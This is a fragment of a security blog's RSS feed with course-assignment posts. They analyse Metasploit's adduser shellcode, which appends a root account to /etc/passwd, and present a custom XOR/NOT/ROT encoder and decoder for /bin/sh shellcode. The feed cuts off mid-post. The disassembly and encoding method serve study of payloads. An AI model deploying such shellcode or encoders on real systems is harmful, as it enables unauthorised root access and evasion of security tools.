/&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/metasploit-ipv6-shellcode-analysis.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-fjeCEZasWwY/Wo8PD3Op-0I/AAAAAAAAB-I/7Y5yzjxoFGwKLlPFHhz6t11eN3dgi7WkwCLcBGAs/s72-c/back-door-300x199.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-1624085286569313223</guid><pubDate>Fri, 09 Feb 2018 19:45:00 +0000</pubDate><atom:updated>2018-02-10T01:37:25.931+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 5</category><title>Art of ShellCoding: Metasploit Add User Payload Analysis</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://who-ami.net/wp-content/uploads/2017/02/metasploitt-300x300.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://who-ami.net/wp-content/uploads/2017/02/metasploitt-300x300.png&quot; data-original-height=&quot;300&quot; data-original-width=&quot;300&quot; height=&quot;200&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In the previous post, we saw how we can encode the shellcode with our customized encoding schemes. In this post, we will see how some of the famous shellcodes from the metasploit framework work. We will analyze three different shellcodes using different techniques and tools in this mini shellcode analysis series. In this post, we will examine linux/x86/adduser shellcode with ndisasm and will see how the stuff works behind the scene.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The adduser shellcode adds a specified user to the linux system. Let&#39;s see how we can create this shellcode using msfvenom:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-qKORHy8ZEdo/WnnsGIuzqRI/AAAAAAAAB64/m1zGiHOp7WwEQLTxpKzcZgMf2DWvgFPrwCLcBGAs/s1600/Screenshot%2B2018-02-06%2B21.46.39.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;163&quot; data-original-width=&quot;881&quot; height=&quot;118&quot; src=&quot;https://2.bp.blogspot.com/-qKORHy8ZEdo/WnnsGIuzqRI/AAAAAAAAB64/m1zGiHOp7WwEQLTxpKzcZgMf2DWvgFPrwCLcBGAs/s640/Screenshot%2B2018-02-06%2B21.46.39.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; &amp;nbsp; Let&#39;s copy the shellcode from the &#39;shellcode&#39; file and analyze it using ndisasm&amp;nbsp;as follows:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-VkdXy8zkoR0/WnnszaevJrI/AAAAAAAAB7A/FVO6rznV2pwf7qHrQ8PJYIdIhq_tAadewCLcBGAs/s1600/Screenshot%2B2018-02-06%2B21.46.10.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;555&quot; data-original-width=&quot;883&quot; height=&quot;402&quot; src=&quot;https://4.bp.blogspot.com/-VkdXy8zkoR0/WnnszaevJrI/AAAAAAAAB7A/FVO6rznV2pwf7qHrQ8PJYIdIhq_tAadewCLcBGAs/s640/Screenshot%2B2018-02-06%2B21.46.10.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We have the complete disassembly of the code here:&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/977b528baeb01757fc7b61813bfc77ea.js&quot;&gt;&lt;/script&gt; &lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Having a look at the disassembly, we will see that we have four primary system calls here which are setreuid, open, write and exit system call. I know things may not be clear here and you might be wondering how exactly i can say this? Let&#39;s break the code down and see it ourselves:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;xor ecx,ecx&lt;br /&gt;mov ebx,ecx&lt;br /&gt;push byte +0x46&lt;br /&gt;pop eax&lt;br /&gt;int 0x80&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: xx-small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Clearing out ECX, we move the obtained 0 to EBX. Next, we put 0x46 in EAX using a PUSH-POP operation. The 0x46 in hexadecimal corresponds to 70 in decimal and denotes setreuid() syscall. The setreuid syscall takes two parameters, i.e., &lt;tt style=&quot;background-color: #ccccff; font-size: 14.6667px;&quot;&gt;int setreuid(uid_t&lt;/tt&gt;&lt;span style=&quot;background-color: #ccccff; font-family: monospace; font-size: 14.6667px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;background-color: #ccccff; font-family: monospace; font-size: 14.6667px;&quot;&gt;ruid&lt;/i&gt;&lt;tt style=&quot;background-color: #ccccff; font-size: 14.6667px;&quot;&gt;, uid_t&lt;/tt&gt;&lt;span style=&quot;background-color: #ccccff; font-family: monospace; font-size: 14.6667px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;background-color: #ccccff; font-family: monospace; font-size: 14.6667px;&quot;&gt;euid&lt;/i&gt;&lt;tt style=&quot;background-color: #ccccff; font-size: 14.6667px;&quot;&gt;);&lt;/tt&gt; The parameters ruid and euid are real and effective user ids. The setreuid set the real and effective user ids of the current process to the values provided in setreuid. Since we have 0 in EBX and 0 in ECX, this means that setreuid will be called as setreuid(0,0) and 0 corresponds to the user id root.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;push byte +0x5&lt;br /&gt;pop eax&lt;br /&gt;xor ecx,ecx&lt;br /&gt;push ecx&lt;br /&gt;push dword 0x64777373&lt;br /&gt;push dword 0x61702f2f&lt;br /&gt;push dword 0x6374652f&lt;br /&gt;mov ebx,esp&lt;br /&gt;inc ecx&lt;br /&gt;mov ch,0x4&lt;br /&gt;int 0x80&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;The above piece of code puts 0x5 in EAX which is nothing but sys_open&lt;span style=&quot;background-color: orange; text-align: justify;&quot;&gt;(int open(const char *pathname, int flags);)&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;system call. Next, we clear out ECX and push it to the stack. The value to be pushed into the stack is 0 since we cleared out ECX using XOR operation. The next three instructions put the string /etc//passwd on the stack, and since they are at the top of the stack, we move ESP to EBX. Next, we increment ECX to 1 and then move 0x4 to CH register which is HIGH bytes of CX register. We already have a value in CL which is 1. Therefore, this operation will make the value in ECX as 0x401 which is nothing but a bitmask representing a combination of&amp;nbsp; O_WRONLY | O_APPEND flags. Using this combination of registers, we will be opening /etc/passwd file in write-only append mode. Upon successful execution, it will return the descriptor for the file. The next two lines exchange the descriptor with EBX register and call&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;&lt;br /&gt;xchg eax,ebx &lt;br /&gt;call dword 0x4e&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Here is the trick of this shellcode. Since we issue a call instruction, the data after the call instruction is pushed onto the stack. Confused? After the call instruction we have:&lt;br /&gt;&lt;pre style=&quot;text-align: start; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;b&gt;0000002B  6E                outsb&lt;br /&gt;0000002C  6970756E3A417A    imul esi,[eax+0x75],dword 0x7a413a6e&lt;br /&gt;00000033  627242            bound esi,[edx+0x42]&lt;br /&gt;00000036  334B30            xor ecx,[ebx+0x30]&lt;br /&gt;00000039  7072              jo 0xad&lt;br /&gt;0000003B  52                push edx&lt;br /&gt;0000003C  41                inc ecx&lt;br /&gt;0000003D  59                pop ecx&lt;br /&gt;0000003E  3A30              cmp dh,[eax]&lt;br /&gt;00000040  3A30              cmp dh,[eax]&lt;br /&gt;00000042  3A3A              cmp bh,[edx]&lt;br /&gt;00000044  2F                das&lt;br /&gt;00000045  3A2F              cmp ch,[edi]&lt;br /&gt;00000047  62696E            bound ebp,[ecx+0x6e]&lt;br /&gt;0000004A  2F                das&lt;br /&gt;0000004B  7368              jnc 0xb5&lt;br /&gt;0000004D  0A598B            or bl,[ecx-0x75]&lt;/b&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;These may look like instructions, but they are not. In fact, this is the data. Let&#39;s analyze it as follows:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;From 6E to 68(Second Last Line, 0A is line feed):&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6e 69 70 75 6e 3a 41 7a 62 72 42 33 4b 30 70 72 52 41 59 3a 30 3a 30 3a 3a 2f 3a 2f 62 69 6e 2f 73 68&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Transforms to:&lt;br /&gt;&lt;span style=&quot;background-color: yellow;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;nipun:AzbrB3K0prRAY:0:0::/:/bin/sh&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The above string is the data to be written into the file we opened using SYS_OPEN&lt;span style=&quot;background-color: white;&quot;&gt; &lt;/span&gt;call. Coming back to the call instruction it will land us at the at the byte 59 (Last line) after 0A:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-KkRYfAhDvFQ/Wn3uYhTY4nI/AAAAAAAAB7s/UfqWZlukjVkSNQcpa3y_Q9JWaIDQzjZWwCLcBGAs/s1600/Screenshot%2B2018-02-10%2B00.17.27.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;628&quot; data-original-width=&quot;1031&quot; height=&quot;388&quot; src=&quot;https://3.bp.blogspot.com/-KkRYfAhDvFQ/Wn3uYhTY4nI/AAAAAAAAB7s/UfqWZlukjVkSNQcpa3y_Q9JWaIDQzjZWwCLcBGAs/s640/Screenshot%2B2018-02-10%2B00.17.27.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see the value in EIP which points to byte 59. Let&#39;s reconfirm it:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-dtJav3P5iPo/Wn3uhYoo0kI/AAAAAAAAB7w/htFXuD2rHR8SU_M2xJZMJe3od22qNW-UgCLcBGAs/s1600/Screenshot%2B2018-02-10%2B00.19.18.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;529&quot; data-original-width=&quot;1174&quot; height=&quot;288&quot; src=&quot;https://4.bp.blogspot.com/-dtJav3P5iPo/Wn3uhYoo0kI/AAAAAAAAB7w/htFXuD2rHR8SU_M2xJZMJe3od22qNW-UgCLcBGAs/s640/Screenshot%2B2018-02-10%2B00.19.18.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now, the POP ECX command will put the data to be written into the ECX register, and the next instruction puts the length of this data onto the EDX register. Rest of the code is straightforward it pushes the value 0x4 on the stack and pops it to EAX register. This is nothing but the WRITE system call. This means we have the following arrangement of registers:&lt;/div&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;b&gt;EAX: 0x4 Write System Call&lt;br /&gt;EBX: File Descriptor (From the XCHG Operation)&lt;br /&gt;ECX: The data itself&lt;br /&gt;EDX: Length of data&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-f-lYYMv_dpk/Wn3xTzlzYSI/AAAAAAAAB8A/Ktin30mDHBQY73cAHkUXI1MuWRQlXdyuQCLcBGAs/s1600/Screenshot%2B2018-02-10%2B00.35.25.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;740&quot; data-original-width=&quot;902&quot; height=&quot;524&quot; src=&quot;https://4.bp.blogspot.com/-f-lYYMv_dpk/Wn3xTzlzYSI/AAAAAAAAB8A/Ktin30mDHBQY73cAHkUXI1MuWRQlXdyuQCLcBGAs/s640/Screenshot%2B2018-02-10%2B00.35.25.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We simply issue the interrupt, and the data gets written to the /etc/passwd file. Next, we just issue an exit system call by putting 0x1 to EAX using a PUSH-POP operation&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Analysis:&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The shellcode appends the specified user credentials to /etc/passwd file and exits.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background: 0px 0px rgb(255, 255, 255); border: 0px; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-position: 0px 0px; border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/analyzing-metasploit-adduser-payload.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-qKORHy8ZEdo/WnnsGIuzqRI/AAAAAAAAB64/m1zGiHOp7WwEQLTxpKzcZgMf2DWvgFPrwCLcBGAs/s72-c/Screenshot%2B2018-02-06%2B21.46.39.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5179358761015563840</guid><pubDate>Tue, 06 Feb 2018 11:40:00 +0000</pubDate><atom:updated>2019-10-05T23:29:46.975+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">multiencoder shellcode</category><category domain="http://www.blogger.com/atom/ns#">shellcoding</category><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 4</category><title>Art of Shellcoding: The MultiEncoder Shellcode</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-NpDLV3m96Zg/XZjZ_07uPrI/AAAAAAAAC1c/hG4_BAXmC_0__YKH-0VI7JekREOuvKvhQCLcBGAsYHQ/s1600/shellcode-encoder.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;340&quot; data-original-width=&quot;624&quot; height=&quot;174&quot; src=&quot;https://1.bp.blogspot.com/-NpDLV3m96Zg/XZjZ_07uPrI/AAAAAAAAC1c/hG4_BAXmC_0__YKH-0VI7JekREOuvKvhQCLcBGAsYHQ/s320/shellcode-encoder.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Dear Readers, Hope you all are doing great. In the previous post, we saw how we could create a shellcode for egghunting and ended up creating one of the shortest egghunter shellcode with just under 12 bytes. In this post,&amp;nbsp; we will only work on encoding the shellcode by combining 3 different encoding schemes. The shellcode we will choose to demo our custom encoder will be a simple /bin/sh shell invoking shellcode. You can download a copy of this simple shellcode from &lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/blob/master/ASSGN-4/execve-stack.nasm&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&amp;nbsp; We will write a simple python script which will encode the bytes of the /bin/sh shellcode with our custom encoding scheme. Here is the source of the python script:&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/e6a8a56849d369a48e552dac7c4b6ce1.js&quot;&gt;&lt;/script&gt; &lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Running the python program, we can see that we have encoded shellcode which we can use in decoder stub:&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-jJ8ZMQ3IU00/WnizvtZx7AI/AAAAAAAAB5M/XVjxzPRGH_M__kv4s6dphrSoQL8Z_gPKQCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.12.12.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;265&quot; data-original-width=&quot;826&quot; height=&quot;205&quot; src=&quot;https://2.bp.blogspot.com/-jJ8ZMQ3IU00/WnizvtZx7AI/AAAAAAAAB5M/XVjxzPRGH_M__kv4s6dphrSoQL8Z_gPKQCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.12.12.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As we can see this is a pretty straightforward Encoder which encodes each byte of the /bin/sh shellcode by XORing it with 0xAA, then XORing it again with 0xCF, then performing a NOT operation on the byte and finally doing a ROT shift of 131 on the byte. Therefore, to create a decoder stub for the shellcode, we will write a simple assembly program as follows:&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/07848d43bfa4d6c625f14a74277e4766.js&quot;&gt;&lt;/script&gt; &lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see that it&#39;s a pretty straightforward decoder stub. The first operation it performs is to simply remove the ROT shift of 131 by subtracting the byte with 131. Next, it performs a NOT operation and then finally do a double XOR operation with 0xCF and 0xAA one after the other. After completing these four activities for all the bytes, it directly jumps to the Shellcode. Extracting the bytes of Shellcode from this program, we can just create a C program and test its functionality as follows:&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/7f4958670210410e817ed73cdece7801.js&quot;&gt;&lt;/script&gt; &lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Compiling the C code, we can execute the program and see if works or not:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-V20e03c5oSo/WniyFjGbMYI/AAAAAAAAB48/0BzKIVEr9yMO3SLqoFM-hfGHfosTGP0-wCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.03.15.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;234&quot; data-original-width=&quot;831&quot; height=&quot;179&quot; src=&quot;https://2.bp.blogspot.com/-V20e03c5oSo/WniyFjGbMYI/AAAAAAAAB48/0BzKIVEr9yMO3SLqoFM-hfGHfosTGP0-wCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.03.15.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Works!! Great. We can see that the length of the shellcode is 76 bytes. Let&#39;s run this program in GDB and analyze the step by step decoding process as follows:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-m6kM0xvXPYc/Wni2lkgBNbI/AAAAAAAAB50/rBJBRsQllMY9egObz4Wo5JLbEJf282MIgCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.18.23.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-m6kM0xvXPYc/Wni2lkgBNbI/AAAAAAAAB50/rBJBRsQllMY9egObz4Wo5JLbEJf282MIgCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.18.23.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;We can see that our original /bin/sh encoded shellcode of 25 bytes is visible in the above screenshot. We are currently doing a ROT shift of 131 by subtracting it from the first byte of our encoded shellcode which is 0x2e. This will change the byte 0x2e to 0xab:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-Idv_mee0Oww/Wni3SP9jDiI/AAAAAAAAB58/DrjiJmeyb907Iwh6x_0rfVK4pctLE9RkwCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.18.56.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://1.bp.blogspot.com/-Idv_mee0Oww/Wni3SP9jDiI/AAAAAAAAB58/DrjiJmeyb907Iwh6x_0rfVK4pctLE9RkwCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.18.56.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Similarly, the next operation is to perform a NOT of the byte which will transform the byte 0xab to 0x54:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-7ekrXFUIC_k/Wni3jRaBsBI/AAAAAAAAB6A/Do2ktxkY96o_DJBOJWDURSW5yrf8xGDdgCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.19.10.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://4.bp.blogspot.com/-7ekrXFUIC_k/Wni3jRaBsBI/AAAAAAAAB6A/Do2ktxkY96o_DJBOJWDURSW5yrf8xGDdgCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.19.10.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next are two XOR operations, the first with 0xCF which will change the byte to 0x9b and the one with 0xaa will convert the byte to 0x31 which is the original byte of our /bin/sh execve shellcode:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-Ht_xU1GsY_8/Wni4Rp67jeI/AAAAAAAAB6Q/tIvr2zOw-qUyOoyd718pjmhhunvpDNLrACLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.19.37.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-Ht_xU1GsY_8/Wni4Rp67jeI/AAAAAAAAB6Q/tIvr2zOw-qUyOoyd718pjmhhunvpDNLrACLcBGAs/s640/Screenshot%2B2018-02-06%2B01.19.37.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Similarly, all the above operations will happen for rest of the 24 bytes of the shellcode, and before jumping to the decoded shellcode, we will have the following shell code:&lt;/div&gt;&lt;div 